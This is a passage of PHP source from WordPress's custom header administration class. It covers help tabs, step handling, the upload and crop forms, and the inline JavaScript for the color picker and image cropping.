		add_action( "admin_print_styles-{$page}", array( $this, 'css_includes' ) );
		add_action( "admin_head-{$page}", array( $this, 'help' ) );
		add_action( "admin_head-{$page}", array( $this, 'take_action' ), 50 );
		add_action( "admin_head-{$page}", array( $this, 'js' ), 50 );

		if ( $this->admin_header_callback ) {
			add_action( "admin_head-{$page}", $this->admin_header_callback, 51 );
		}
	}

	/**
	 * Adds contextual help.
	 *
	 * @since 3.0.0
	 */
	public function help() {
		get_current_screen()->add_help_tab(
			array(
				'id'      => 'overview',
				'title'   => __( 'Overview' ),
				'content' =>
					'<p>' . __( 'This screen is used to customize the header section of your theme.' ) . '</p>' .
					'<p>' . __( 'You can choose from the theme&#8217;s default header images, or use one of your own. You can also customize how your Site Title and Tagline are displayed.' ) . '<p>',
			)
		);

		get_current_screen()->add_help_tab(
			array(
				'id'      => 'set-header-image',
				'title'   => __( 'Header Image' ),
				'content' =>
					'<p>' . __( 'You can set a custom image header for your site. Simply upload the image and crop it, and the new header will go live immediately. Alternatively, you can use an image that has already been uploaded to your Media Library by clicking the &#8220;Choose Image&#8221; button.' ) . '</p>' .
					'<p>' . __( 'Some themes come with additional header images bundled. If you see multiple images displayed, select the one you would like and click the &#8220;Save Changes&#8221; button.' ) . '</p>' .
					'<p>' . __( 'If your theme has more than one default header image, or you have uploaded more than one custom header image, you have the option of having WordPress display a randomly different image on each page of your site. Click the &#8220;Random&#8221; radio button next to the Uploaded Images or Default Images section to enable this feature.' ) . '</p>' .
					'<p>' . __( 'If you do not want a header image to be displayed on your site at all, click the &#8220;Remove Header Image&#8221; button at the bottom of the Header Image section of this page. If you want to re-enable the header image later, you just have to select one of the other image options and click &#8220;Save Changes&#8221;.' ) . '</p>',
			)
		);

		get_current_screen()->add_help_tab(
			array(
				'id'      => 'set-header-text',
				'title'   => __( 'Header Text' ),
				'content' =>
					'<p>' . sprintf(
						/* translators: %s: URL to General Settings screen. */
						__( 'For most themes, the header text is your Site Title and Tagline, as defined in the <a href="%s">General Settings</a> section.' ),
						admin_url( 'options-general.php' )
					) .
					'</p>' .
					'<p>' . __( 'In the Header Text section of this page, you can choose whether to display this text or hide it. You can also choose a color for the text by clicking the Select Color button and either typing in a legitimate HTML hex value, e.g. &#8220;#ff0000&#8221; for red, or by choosing a color using the color picker.' ) . '</p>' .
					'<p>' . __( 'Do not forget to click &#8220;Save Changes&#8221; when you are done!' ) . '</p>',
			)
		);

		get_current_screen()->set_help_sidebar(
			'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
			'<p>' . __( '<a href="https://codex.wordpress.org/Appearance_Header_Screen">Documentation on Custom Header</a>' ) . '</p>' .
			'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
		);
	}

	/**
	 * Gets the current step.
	 *
	 * @since 2.6.0
	 *
	 * @return int Current step.
	 */
	public function step() {
		if ( ! isset( $_GET['step'] ) ) {
			return 1;
		}

		$step = (int) $_GET['step'];
		if ( $step < 1 || 3 < $step ||
			( 2 === $step && ! wp_verify_nonce( $_REQUEST['_wpnonce-custom-header-upload'], 'custom-header-upload' ) ) ||
			( 3 === $step && ! wp_verify_nonce( $_REQUEST['_wpnonce'], 'custom-header-crop-image' ) )
		) {
			return 1;
		}

		return $step;
	}

	/**
	 * Sets up the enqueue for the JavaScript files.
	 *
	 * @since 2.1.0
	 */
	public function js_includes() {
		$step = $this->step();

		if ( ( 1 === $step || 3 === $step ) ) {
			wp_enqueue_media();
			wp_enqueue_script( 'custom-header' );
			if ( current_theme_supports( 'custom-header', 'header-text' ) ) {
				wp_enqueue_script( 'wp-color-picker' );
			}
		} elseif ( 2 === $step ) {
			wp_enqueue_script( 'imgareaselect' );
		}
	}

	/**
	 * Sets up the enqueue for the CSS files.
	 *
	 * @since 2.7.0
	 */
	public function css_includes() {
		$step = $this->step();

		if ( ( 1 === $step || 3 === $step ) && current_theme_supports( 'custom-header', 'header-text' ) ) {
			wp_enqueue_style( 'wp-color-picker' );
		} elseif ( 2 === $step ) {
			wp_enqueue_style( 'imgareaselect' );
		}
	}

	/**
	 * Executes custom header modification.
	 *
	 * @since 2.6.0
	 */
	public function take_action() {
		if ( ! current_user_can( 'edit_theme_options' ) ) {
			return;
		}

		if ( empty( $_POST ) ) {
			return;
		}

		$this->updated = true;

		if ( isset( $_POST['resetheader'] ) ) {
			check_admin_referer( 'custom-header-options', '_wpnonce-custom-header-options' );

			$this->reset_header_image();

			return;
		}

		if ( isset( $_POST['removeheader'] ) ) {
			check_admin_referer( 'custom-header-options', '_wpnonce-custom-header-options' );

			$this->remove_header_image();

			return;
		}

		if ( isset( $_POST['text-color'] ) && ! isset( $_POST['display-header-text'] ) ) {
			check_admin_referer( 'custom-header-options', '_wpnonce-custom-header-options' );

			set_theme_mod( 'header_textcolor', 'blank' );
		} elseif ( isset( $_POST['text-color'] ) ) {
			check_admin_referer( 'custom-header-options', '_wpnonce-custom-header-options' );

			$_POST['text-color'] = str_replace( '#', '', $_POST['text-color'] );

			$color = preg_replace( '/[^0-9a-fA-F]/', '', $_POST['text-color'] );

			if ( strlen( $color ) === 6 || strlen( $color ) === 3 ) {
				set_theme_mod( 'header_textcolor', $color );
			} elseif ( ! $color ) {
				set_theme_mod( 'header_textcolor', 'blank' );
			}
		}

		if ( isset( $_POST['default-header'] ) ) {
			check_admin_referer( 'custom-header-options', '_wpnonce-custom-header-options' );

			$this->set_header_image( $_POST['default-header'] );

			return;
		}
	}

	/**
	 * Processes the default headers.
	 *
	 * @since 3.0.0
	 *
	 * @global array $_wp_default_headers
	 */
	public function process_default_headers() {
		global $_wp_default_headers;

		if ( ! isset( $_wp_default_headers ) ) {
			return;
		}

		if ( ! empty( $this->default_headers ) ) {
			return;
		}

		$this->default_headers    = $_wp_default_headers;
		$template_directory_uri   = get_template_directory_uri();
		$stylesheet_directory_uri = get_stylesheet_directory_uri();

		foreach ( array_keys( $this->default_headers ) as $header ) {
			$this->default_headers[ $header ]['url'] = sprintf(
				$this->default_headers[ $header ]['url'],
				$template_directory_uri,
				$stylesheet_directory_uri
			);

			$this->default_headers[ $header ]['thumbnail_url'] = sprintf(
				$this->default_headers[ $header ]['thumbnail_url'],
				$template_directory_uri,
				$stylesheet_directory_uri
			);
		}
	}

	/**
	 * Displays UI for selecting one of several default headers.
	 *
	 * Shows the random image option if this theme has multiple header images.
	 * Random image option is on by default if no header has been set.
	 *
	 * @since 3.0.0
	 *
	 * @param string $type The header type. One of 'default' (for the Uploaded Images control)
	 *                     or 'uploaded' (for the Uploaded Images control).
	 */
	public function show_header_selector( $type = 'default' ) {
		if ( 'default' === $type ) {
			$headers = $this->default_headers;
		} else {
			$headers = get_uploaded_header_images();
			$type    = 'uploaded';
		}

		if ( 1 < count( $headers ) ) {
			echo '<div class="random-header">';
			echo '<label><input name="default-header" type="radio" value="random-' . $type . '-image"' . checked( is_random_header_image( $type ), true, false ) . ' />';
			_e( '<strong>Random:</strong> Show a different image on each page.' );
			echo '</label>';
			echo '</div>';
		}

		echo '<div class="available-headers">';

		foreach ( $headers as $header_key => $header ) {
			$header_thumbnail = $header['thumbnail_url'];
			$header_url       = $header['url'];
			$header_alt_text  = empty( $header['alt_text'] ) ? '' : $header['alt_text'];

			echo '<div class="default-header">';
			echo '<label><input name="default-header" type="radio" value="' . esc_attr( $header_key ) . '" ' . checked( $header_url, get_theme_mod( 'header_image' ), false ) . ' />';
			$width = '';
			if ( ! empty( $header['attachment_id'] ) ) {
				$width = ' width="230"';
			}
			echo '<img src="' . esc_url( set_url_scheme( $header_thumbnail ) ) . '" alt="' . esc_attr( $header_alt_text ) . '"' . $width . ' /></label>';
			echo '</div>';
		}

		echo '<div class="clear"></div></div>';
	}

	/**
	 * Executes JavaScript depending on step.
	 *
	 * @since 2.1.0
	 */
	public function js() {
		$step = $this->step();

		if ( ( 1 === $step || 3 === $step ) && current_theme_supports( 'custom-header', 'header-text' ) ) {
			$this->js_1();
		} elseif ( 2 === $step ) {
			$this->js_2();
		}
	}

	/**
	 * Displays JavaScript based on Step 1 and 3.
	 *
	 * @since 2.6.0
	 */
	public function js_1() {
		$default_color = '';
		if ( current_theme_supports( 'custom-header', 'default-text-color' ) ) {
			$default_color = get_theme_support( 'custom-header', 'default-text-color' );
			if ( $default_color && ! str_contains( $default_color, '#' ) ) {
				$default_color = '#' . $default_color;
			}
		}
		?>
<script type="text/javascript">
(function($){
	var default_color = '<?php echo esc_js( $default_color ); ?>',
		header_text_fields;

	function pickColor(color) {
		$('#name').css('color', color);
		$('#desc').css('color', color);
		$('#text-color').val(color);
	}

	function toggle_text() {
		var checked = $('#display-header-text').prop('checked'),
			text_color;
		header_text_fields.toggle( checked );
		if ( ! checked )
			return;
		text_color = $('#text-color');
		if ( '' === text_color.val().replace('#', '') ) {
			text_color.val( default_color );
			pickColor( default_color );
		} else {
			pickColor( text_color.val() );
		}
	}

	$( function() {
		var text_color = $('#text-color');
		header_text_fields = $('.displaying-header-text');
		text_color.wpColorPicker({
			change: function( event, ui ) {
				pickColor( text_color.wpColorPicker('color') );
			},
			clear: function() {
				pickColor( '' );
			}
		});
		$('#display-header-text').click( toggle_text );
		<?php if ( ! display_header_text() ) : ?>
		toggle_text();
		<?php endif; ?>
	} );
})(jQuery);
</script>
		<?php
	}

	/**
	 * Displays JavaScript based on Step 2.
	 *
	 * @since 2.6.0
	 */
	public function js_2() {

		?>
<script type="text/javascript">
	function onEndCrop( coords ) {
		jQuery( '#x1' ).val(coords.x);
		jQuery( '#y1' ).val(coords.y);
		jQuery( '#width' ).val(coords.w);
		jQuery( '#height' ).val(coords.h);
	}

	jQuery( function() {
		var xinit = <?php echo absint( get_theme_support( 'custom-header', 'width' ) ); ?>;
		var yinit = <?php echo absint( get_theme_support( 'custom-header', 'height' ) ); ?>;
		var ratio = xinit / yinit;
		var ximg = jQuery('img#upload').width();
		var yimg = jQuery('img#upload').height();

		if ( yimg < yinit || ximg < xinit ) {
			if ( ximg / yimg > ratio ) {
				yinit = yimg;
				xinit = yinit * ratio;
			} else {
				xinit = ximg;
				yinit = xinit / ratio;
			}
		}

		jQuery('img#upload').imgAreaSelect({
			handles: true,
			keys: true,
			show: true,
			x1: 0,
			y1: 0,
			x2: xinit,
			y2: yinit,
			<?php
			if ( ! current_theme_supports( 'custom-header', 'flex-height' )
				&& ! current_theme_supports( 'custom-header', 'flex-width' )
			) {
				?>
			aspectRatio: xinit + ':' + yinit,
				<?php
			}
			if ( ! current_theme_supports( 'custom-header', 'flex-height' ) ) {
				?>
			maxHeight: <?php echo get_theme_support( 'custom-header', 'height' ); ?>,
				<?php
			}
			if ( ! current_theme_supports( 'custom-header', 'flex-width' ) ) {
				?>
			maxWidth: <?php echo get_theme_support( 'custom-header', 'width' ); ?>,
				<?php
			}
			?>
			onInit: function () {
				jQuery('#width').val(xinit);
				jQuery('#height').val(yinit);
			},
			onSelectChange: function(img, c) {
				jQuery('#x1').val(c.x1);
				jQuery('#y1').val(c.y1);
				jQuery('#width').val(c.width);
				jQuery('#height').val(c.height);
			}
		});
	} );
</script>
		<?php
	}

	/**
	 * Displays first step of custom header image page.
	 *
	 * @since 2.1.0
	 */
	public function step_1() {
		$this->process_default_headers();
		?>

<div class="wrap">
<h1><?php _e( 'Custom Header' ); ?></h1>

		<?php
		if ( current_user_can( 'customize' ) ) {
			$message = sprintf(
				/* translators: %s: URL to header image configuration in Customizer. */
				__( 'You can now manage and live-preview Custom Header in the <a href="%s">Customizer</a>.' ),
				admin_url( 'customize.php?autofocus[control]=header_image' )
			);
			wp_admin_notice(
				$message,
				array(
					'type'               => 'info',
					'additional_classes' => array( 'hide-if-no-customize' ),
				)
			);
		}

		if ( ! empty( $this->updated ) ) {
			$updated_message = sprintf(
				/* translators: %s: Home URL. */
				__( 'Header updated. <a href="%s">Visit your site</a> to see how it looks.' ),
				esc_url( home_url( '/' ) )
			);
			wp_admin_notice(
				$updated_message,
				array(
					'id'                 => 'message',
					'additional_classes' => array( 'updated' ),
				)
			);
		}
		?>

<h2><?php _e( 'Header Image' ); ?></h2>

<table class="form-table" role="presentation">
<tbody>

		<?php if ( get_custom_header() || display_header_text() ) : ?>
<tr>
<th scope="row"><?php _e( 'Preview' ); ?></th>
<td>
			<?php
			if ( $this->admin_image_div_callback ) {
				call_user_func( $this->admin_image_div_callback );
			} else {
				$custom_header = get_custom_header();
				$header_image  = get_header_image();

				if ( $header_image ) {
					$header_image_style = 'background-image:url(' . esc_url( $header_image ) . ');';
				} else {
					$header_image_style = '';
				}

				if ( $custom_header->width ) {
					$header_image_style .= 'max-width:' . $custom_header->width . 'px;';
				}
				if ( $custom_header->height ) {
					$header_image_style .= 'height:' . $custom_header->height . 'px;';
				}
				?>
	<div id="headimg" style="<?php echo $header_image_style; ?>">
				<?php
				if ( display_header_text() ) {
					$style = ' style="color:#' . get_header_textcolor() . ';"';
				} else {
					$style = ' style="display:none;"';
				}
				?>
		<h1><a id="name" class="displaying-header-text" <?php echo $style; ?> onclick="return false;" href="<?php bloginfo( 'url' ); ?>" tabindex="-1"><?php bloginfo( 'name' ); ?></a></h1>
		<div id="desc" class="displaying-header-text" <?php echo $style; ?>><?php bloginfo( 'description' ); ?></div>
	</div>
			<?php } ?>
</td>
</tr>
		<?php endif; ?>

		<?php if ( current_user_can( 'upload_files' ) && current_theme_supports( 'custom-header', 'uploads' ) ) : ?>
<tr>
<th scope="row"><?php _e( 'Select Image' ); ?></th>
<td>
	<p><?php _e( 'You can select an image to be shown at the top of your site by uploading from your computer or choosing from your media library. After selecting an image you will be able to crop it.' ); ?><br />
			<?php
			if ( ! current_theme_supports( 'custom-header', 'flex-height' )
				&& ! current_theme_supports( 'custom-header', 'flex-width' )
			) {
				printf(
					/* translators: 1: Image width in pixels, 2: Image height in pixels. */
					__( 'Images of exactly <strong>%1$d &times; %2$d pixels</strong> will be used as-is.' ) . '<br />',
					get_theme_support( 'custom-header', 'width' ),
					get_theme_support( 'custom-header', 'height' )
				);
			} elseif ( current_theme_supports( 'custom-header', 'flex-height' ) ) {
				if ( ! current_theme_supports( 'custom-header', 'flex-width' ) ) {
					printf(
						/* translators: %s: Size in pixels. */
						__( 'Images should be at least %s wide.' ) . ' ',
						sprintf(
							/* translators: %d: Custom header width. */
							'<strong>' . __( '%d pixels' ) . '</strong>',
							get_theme_support( 'custom-header', 'width' )
						)
					);
				}
			} elseif ( current_theme_supports( 'custom-header', 'flex-width' ) ) {
				if ( ! current_theme_supports( 'custom-header', 'flex-height' ) ) {
					printf(
						/* translators: %s: Size in pixels. */
						__( 'Images should be at least %s tall.' ) . ' ',
						sprintf(
							/* translators: %d: Custom header height. */
							'<strong>' . __( '%d pixels' ) . '</strong>',
							get_theme_support( 'custom-header', 'height' )
						)
					);
				}
			}

			if ( current_theme_supports( 'custom-header', 'flex-height' )
				|| current_theme_supports( 'custom-header', 'flex-width' )
			) {
				if ( current_theme_supports( 'custom-header', 'width' ) ) {
					printf(
						/* translators: %s: Size in pixels. */
						__( 'Suggested width is %s.' ) . ' ',
						sprintf(
							/* translators: %d: Custom header width. */
							'<strong>' . __( '%d pixels' ) . '</strong>',
							get_theme_support( 'custom-header', 'width' )
						)
					);
				}

				if ( current_theme_supports( 'custom-header', 'height' ) ) {
					printf(
						/* translators: %s: Size in pixels. */
						__( 'Suggested height is %s.' ) . ' ',
						sprintf(
							/* translators: %d: Custom header height. */
							'<strong>' . __( '%d pixels' ) . '</strong>',
							get_theme_support( 'custom-header', 'height' )
						)
					);
				}
			}
			?>
	</p>
	<form enctype="multipart/form-data" id="upload-form" class="wp-upload-form" method="post" action="<?php echo esc_url( add_query_arg( 'step', 2 ) ); ?>">
	<p>
		<label for="upload"><?php _e( 'Choose an image from your computer:' ); ?></label><br />
		<input type="file" id="upload" name="import" />
		<input type="hidden" name="action" value="save" />
			<?php wp_nonce_field( 'custom-header-upload', '_wpnonce-custom-header-upload' ); ?>
			<?php submit_button( __( 'Upload' ), '', 'submit', false ); ?>
	</p>
			<?php
			$modal_update_href = add_query_arg(
				array(
					'page'                          => 'custom-header',
					'step'                          => 2,
					'_wpnonce-custom-header-upload' => wp_create_nonce( 'custom-header-upload' ),
				),
				admin_url( 'themes.php' )
			);
			?>
	<p>
		<label for="choose-from-library-link"><?php _e( 'Or choose an image from your media library:' ); ?></label><br />
		<button id="choose-from-library-link" class="button"
			data-update-link="<?php echo esc_url( $modal_update_href ); ?>"
			data-choose="<?php esc_attr_e( 'Choose a Custom Header' ); ?>"
			data-update="<?php esc_attr_e( 'Set as header' ); ?>"><?php _e( 'Choose Image' ); ?></button>
	</p>
	</form>
</td>
</tr>
		<?php endif; ?>
</tbody>
</table>

<form method="post" action="<?php echo esc_url( add_query_arg( 'step', 1 ) ); ?>">
		<?php submit_button( null, 'screen-reader-text', 'save-header-options', false ); ?>
<table class="form-table" role="presentation">
<tbody>
		<?php if ( get_uploaded_header_images() ) : ?>
<tr>
<th scope="row"><?php _e( 'Uploaded Images' ); ?></th>
<td>
	<p><?php _e( 'You can choose one of your previously uploaded headers, or show a random one.' ); ?></p>
			<?php
			$this->show_header_selector( 'uploaded' );
			?>
</td>
</tr>
			<?php
	endif;
		if ( ! empty( $this->default_headers ) ) :
			?>
<tr>
<th scope="row"><?php _e( 'Default Images' ); ?></th>
<td>
			<?php if ( current_theme_supports( 'custom-header', 'uploads' ) ) : ?>
	<p><?php _e( 'If you do not want to upload your own image, you can use one of these cool headers, or show a random one.' ); ?></p>
	<?php else : ?>
	<p><?php _e( 'You can use one of these cool headers or show a random one on each page.' ); ?></p>
	<?php endif; ?>
			<?php
			$this->show_header_selector( 'default' );
			?>
</td>
</tr>
			<?php
	endif;
		if ( get_header_image() ) :
			?>
<tr>
<th scope="row"><?php _e( 'Remove Image' ); ?></th>
<td>
	<p><?php _e( 'This will remove the header image. You will not be able to restore any customizations.' ); ?></p>
			<?php submit_button( __( 'Remove Header Image' ), '', 'removeheader', false ); ?>
</td>
</tr>
			<?php
	endif;

		$default_image = sprintf(
			get_theme_support( 'custom-header', 'default-image' ),
			get_template_directory_uri(),
			get_stylesheet_directory_uri()
		);

		if ( $default_image && get_header_image() !== $default_image ) :
			?>
<tr>
<th scope="row"><?php _e( 'Reset Image' ); ?></th>
<td>
	<p><?php _e( 'This will restore the original header image. You will not be able to restore any customizations.' ); ?></p>
			<?php submit_button( __( 'Restore Original Header Image' ), '', 'resetheader', false ); ?>
</td>
</tr>
	<?php endif; ?>
</tbody>
</table>

		<?php if ( current_theme_supports( 'custom-header', 'header-text' ) ) : ?>

<h2><?php _e( 'Header Text' ); ?></h2>

<table class="form-table" role="presentation">
<tbody>
<tr>
<th scope="row"><?php _e( 'Header Text' ); ?></th>
<td>
	<p>
	<label><input type="checkbox" name="display-header-text" id="display-header-text"<?php checked( display_header_text() ); ?> /> <?php _e( 'Show header text with your image.' ); ?></label>
	</p>
</td>
</tr>

<tr class="displaying-header-text">
<th scope="row"><?php _e( 'Text Color' ); ?></th>
<td>
	<p>
			<?php
			$default_color = '';
			if ( current_theme_supports( 'custom-header', 'default-text-color' ) ) {
				$default_color = get_theme_support( 'custom-header', 'default-text-color' );
				if ( $default_color && ! str_contains( $default_color, '#' ) ) {
					$default_color = '#' . $default_color;
				}
			}

			$default_color_attr = $default_color ? ' data-default-color="' . esc_attr( $default_color ) . '"' : '';

			$header_textcolor = display_header_text() ? get_header_textcolor() : get_theme_support( 'custom-header', 'default-text-color' );
			if ( $header_textcolor && ! str_contains( $header_textcolor, '#' ) ) {
				$header_textcolor = '#' . $header_textcolor;
			}

			echo '<input type="text" name="text-color" id="text-color" value="' . esc_attr( $header_textcolor ) . '"' . $default_color_attr . ' />';
			if ( $default_color ) {
				/* translators: %s: Default text color. */
				echo ' <span class="description hide-if-js">' . sprintf( _x( 'Default: %s', 'color' ), esc_html( $default_color ) ) . '</span>';
			}
			?>
	</p>
</td>
</tr>
</tbody>
</table>
			<?php
endif;

		/**
		 * Fires just before the submit button in the custom header options form.
		 *
		 * @since 3.1.0
		 */
		do_action( 'custom_header_options' );

		wp_nonce_field( 'custom-header-options', '_wpnonce-custom-header-options' );
		?>

		<?php submit_button( null, 'primary', 'save-header-options' ); ?>
</form>
</div>

		<?php
	}

	/**
	 * Displays second step of custom header image page.
	 *
	 * @since 2.1.0
	 */
	public function step_2() {
		check_admin_referer( 'custom-header-upload', '_wpnonce-custom-header-upload' );

		if ( ! current_theme_supports( 'custom-header', 'uploads' ) ) {
			wp_die(
				'<h1>' . __( 'Something went wrong.' ) . '</h1>' .
				'<p>' . __( 'The active theme does not support uploading a custom header image.' ) . '</p>',
				403
			);
		}

		if ( empty( $_POST ) && isset( $_GET['file'] ) ) {
			$attachment_id = absint( $_GET['file'] );
			$file          = get_attached_file( $attachment_id, true );
			$url           = wp_get_attachment_image_src( $attachment_id, 'full' );
			$url           = $url[0];
		} elseif ( isset( $_POST ) ) {
			$data          = $this->step_2_manage_upload();
			$attachment_id = $data['attachment_id'];
			$file          = $data['file'];
			$url           = $data['url'];
		}

		if ( file_exists( $file ) ) {
			list( $width, $height, $type, $attr ) = wp_getimagesize( $file );
		} else {
			$data   = wp_get_attachment_metadata( $attachment_id );
			$height = isset( $data['height'] ) ? (int) $data['height'] : 0;
			$width  = isset( $data['width'] ) ? (int) $data['width'] : 0;
			unset( $data );
		}

		$max_width = 0;

		// For flex, limit size of image displayed to 1500px unless theme says otherwise.
		if ( current_theme_supports( 'custom-header', 'flex-width' ) ) {
			$max_width = 1500;
		}

		if ( current_theme_supports( 'custom-header', 'max-width' ) ) {
			$max_width = max( $max_width, get_theme_support( 'custom-header', 'max-width' ) );
		}

		$max_width = max( $max_width, get_theme_support( 'custom-header', 'width' ) );

		// If flexible height isn't supported and the image is the exact right size.
		if ( ! current_theme_supports( 'custom-header', 'flex-height' )
			&& ! current_theme_supports( 'custom-header', 'flex-width' )
			&& (int) get_theme_support( 'custom-header', 'width' ) === $width
			&& (int) get_theme_support( 'custom-header', 'height' ) === $height
		) {
			// Add the metadata.
			if ( file_exists( $file ) ) {
				wp_update_attachment_metadata( $attachment_id, wp_generate_attachment_metadata( $attachment_id, $file ) );
			}

			$this->set_header_image( compact( 'url', 'attachment_id', 'width', 'height' ) );

			/**
			 * Filters the attachment file path after the custom header or background image is set.
			 *
			 * Used for file replication.
			 *
			 * @since 2.1.0
			 *
			 * @param string $file          Path to the file.
			 * @param int    $attachment_id Attachment ID.
			 */
			$file = apply_filters( 'wp_create_file_in_uploads', $file, $attachment_id ); // For replication.

			return $this->finished();
		} elseif ( $width > $max_width ) {
			$oitar = $width / $max_width;

			$image = wp_crop_image(
				$attachment_id,
				0,
				0,
				$width,
				$height,
				$max_width,
				$height / $oitar,
				false,
				str_replace( wp_basename( $file ), 'midsize-' . wp_basename( $file ), $file )
			);

			if ( ! $image || is_wp_error( $image ) ) {
				wp_die( __( 'Image could not be processed. Please go back and try again.' ), __( 'Image Processing Error' ) );
			}

			/** This filter is documented in wp-admin/includes/class-custom-image-header.php */
			$image = apply_filters( 'wp_create_file_in_uploads', $image, $attachment_id ); // For replication.

			$url    = str_replace( wp_basename( $url ), wp_basename( $image ), $url );
			$width  = $width / $oitar;
			$height = $height / $oitar;
		} else {
			$oitar = 1;
		}
		?>

<div class="wrap">
<h1><?php _e( 'Crop Header Image' ); ?></h1>

<form method="post" action="<?php echo esc_url( add_query_arg( 'step', 3 ) ); ?>">
	<p class="hide-if-no-js"><?php _e( 'Choose the part of the image you want to use as your header.' ); ?></p>
	<p class="hide-if-js"><strong><?php _e( 'You need JavaScript to choose a part of the image.' ); ?></strong></p>

	<div id="crop_image" style="position: relative">
		<img src="<?php echo esc_url( $url ); ?>" id="upload" width="<?php echo $width; ?>" height="<?php echo $height; ?>" alt="" />
	</div>

	<input type="hidden" name="x1" id="x1" value="0" />
	<input type="hidden" name="y1" id="y1" value="0" />
	<input type="hidden" name="width" id="width" value="<?php echo esc_attr( $width ); ?>" />
	<input type="hidden" name="height" id="height" value="<?php echo esc_attr( $height ); ?>" />
	<input type="hidden" name="attachment_id" id="attachment_id" value="<?php echo esc_attr( $attachment_id ); ?>" />
	<input type="hidden" name="oitar" id="oitar" value="<?php echo esc_attr( $oitar ); ?>" />
		<?php if ( empty( $_POST ) && isset( $_GET['file'] ) ) { ?>
	<input type="hidden" name="create-new-attachment" value="true" />
	<?php } ?>
		<?php wp_nonce_field( 'custom-header-crop-image' ); ?>

	<p class="submit">
		<?php submit_button( __( 'Crop and Publish' ), 'primary', 'submit', false ); ?>
		<?php
		if ( isset( $oitar ) && 1 === $oitar
			&& ( current_theme_supports( 'custom-header', 'flex-height' )
				|| current_theme_supports( 'custom-header', 'flex-width' ) )
		) {
			submit_button( __( 'Skip Cropping, Publish Image as Is' ), '', 'skip-cropping', false );
		}
		?>
	</p>
</form>
</div>
		<?php
	}


	/**
	 * Uploads the file to be cropped in the second step.
	 *
	 * @since 3.4.0
	 */
	public function step_2_manage_upload() {
		$overrides = array( 'test_form' => false );

		$uploaded_file = $_FILES['import'];
		$wp_filetype   = wp_check_filetype_and_ext( $uploaded_file['tmp_name'], $uploaded_file['name'] );

		if ( ! wp_match_mime_types( 'image', $wp_filetype['type'] ) ) {
			wp_die( __( 'The uploaded file is not a valid image. Please try again.' ) );
		}

		$file = wp_handle_upload( $uploaded_file, $overrides );

		if ( isset( $file['error'] ) ) {
			wp_die( $file['error'], __( 'Image Upload Error' ) );
		}

		$url      = $file['url'];
		$type     = $file['type'];
		$file     = $file['file'];
		$filename = wp_basename( $file );

		// Construct the attachment array.
		$attachment = array(
			'post_title'     => $filename,
			'post_content'   => $url,
			'post_mime_type' => $type,
			'guid'           => $url,
			'context'        => 'custom-header',
		);

		// Save the data.
		$attachment_id = wp_insert_attachment( $attachment, $file );

		return compact( 'attachment_id', 'file', 'filename', 'url', 'type' );
	}

	/**
	 * Displays third step of custom header image page.
	 *
	 * @since 2.1.0
	 * @since 4.4.0 Switched to using wp_get_attachment_url() instead of the guid
	 *              for retrieving the header image URL.
	 */
	public function step_3() {
		check_admin_referer( 'custom-header-crop-image' );

		if ( ! current_theme_supports( 'custom-header', 'uploads' ) ) {
			wp_die(
				'<h1>' . __( 'Something went wrong.' ) . '</h1>' .
				'<p>' . __( 'The active theme does not support uploading a custom header image.' ) . '</p>',
				403
			);
		}

		if ( ! empty( $_POST['skip-cropping'] )
			&& ! current_theme_supports( 'custom-header', 'flex-height' )
			&& ! current_theme_supports( 'custom-header', 'flex-width' )
		) {
			wp_die(
				'<h1>' . __( 'Something went wrong.' ) . '</h1>' .
				'<p>' . __( 'The active theme does not support a flexible sized header image.' ) . '</p>',
				403
			);
		}

		if ( $_POST['oitar'] > 1 ) {
			$_POST['x1']     = $_POST['x1'] * $_POST['oitar'];
			$_POST['y1']     = $_POST['y1'] * $_POST['oitar'];
			$_POST['width']  = $_POST['width'] * $_POST['oitar'];
			$_POST['height'] = $_POST['height'] * $_POST['oitar'];
		}

		$attachment_id = absint( $_POST['attachment_id'] );
		$original      = get_attached_file( $attachment_id );

		$dimensions = $this->get_header_dimensions(
			array(
				'height' => $_POST['height'],
				'width'  => $_POST['width'],
			)
		);
		$height     = $dimensions['dst_height'];
		$width      = $dimensions['dst_width'];

		if ( empty( $_POST['skip-cropping'] ) ) {
			$cropped = wp_crop_image(
				$attachment_id,
				(int) $_POST['x1'],
				(int) $_POST['y1'],
				(int) $_POST['width'],
				(int) $_POST['height'],
				$width,
				$height
			);
		} elseif ( ! empty( $_POST['create-new-attachment'] ) ) {
			$cropped = _copy_image_file( $attachment_id );
		} else {
			$cropped = get_attached_file( $attachment_id );
		}

		if ( ! $cropped || is_wp_error( $cropped ) ) {
			wp_die( __( 'Image could not be processed. Please go back and try again.' ), __( 'Image Processing Error' ) );
		}

		/** This filter is documented in wp-admin/includes/class-custom-image-header.php */
		$cropped = apply_filters( 'wp_create_file_in_uploads', $cropped, $attachment_id ); // For replication.

		$attachment = $this->create_attachment_object( $cropped, $attachment_id );

		if ( ! empty( $_POST['create-new-attachment'] ) ) {
			unset( $attachment['ID'] );
		}

		// Update the attachment.
		$attachment_id = $this->insert_attachment( $attachment, $cropped );

		$url = wp_get_attachment_url( $attachment_id );
		$this->set_header_image( compact( 'url', 'attachment_id', 'width', 'height' ) );

		// Cleanup.
		$medium = str_replace( wp_basename( $original ), 'midsize-' . wp_basename( $original ), $original );
		if ( file_exists( $medium ) ) {
			wp_delete_file( $medium );
		}

		if ( empty( $_POST['create-new-attachment'] ) && empty( $_POST['skip-cropping'] ) ) {
			wp_delete_file( $original );
		}

		return $this->finished();
	}

	/**
	 * Displays last step of custom header image page.
	 *
	 * @since 2.1.0
	 */
	public function finished() {
		$this->updated = true;
		$this->step_1();
	}

	/**
	 * Displays the page based on the current step.
	 *
	 * @since 2.1.0
	 */
	public function admin_page() {
		if ( ! current_user_can( 'edit_theme_options' ) ) {
			wp_die( __( 'Sorry, you are not allowed to customize headers.' ) );
		}

		$step = $this->step();

		if ( 2 === $step ) {
			$this->step_2();
		} elseif ( 3 === $step ) {
			$this->step_3();
		} else {
			$this->step_1();
		}
	}

	/**
	 * Unused since 3.5.0.
	 *
	 * @since 3.4.0
	 *
	 * @param array $form_fields
	 * @return array $form_fields
	 */
	public function attachment_fields_to_edit( $form_fields ) {
		return $form_fields;
	}

	/**
	 * Unused since 3.5.0.
	 *
	 * @since 3.4.0
	 *
	 * @param array $tabs
	 * @return array $tabs
	 */
	public function filter_upload_tabs( $tabs ) {
		return $tabs;
	}

	/**
	 * Chooses a header image, selected from existing uploaded and default headers,
	 * or provides an array of uploaded header data (either new, or from media library).
	 *
	 * @since 3.4.0
	 *
	 * @param mixed $choice Which header image to select. Allows for values of 'random-default-image',
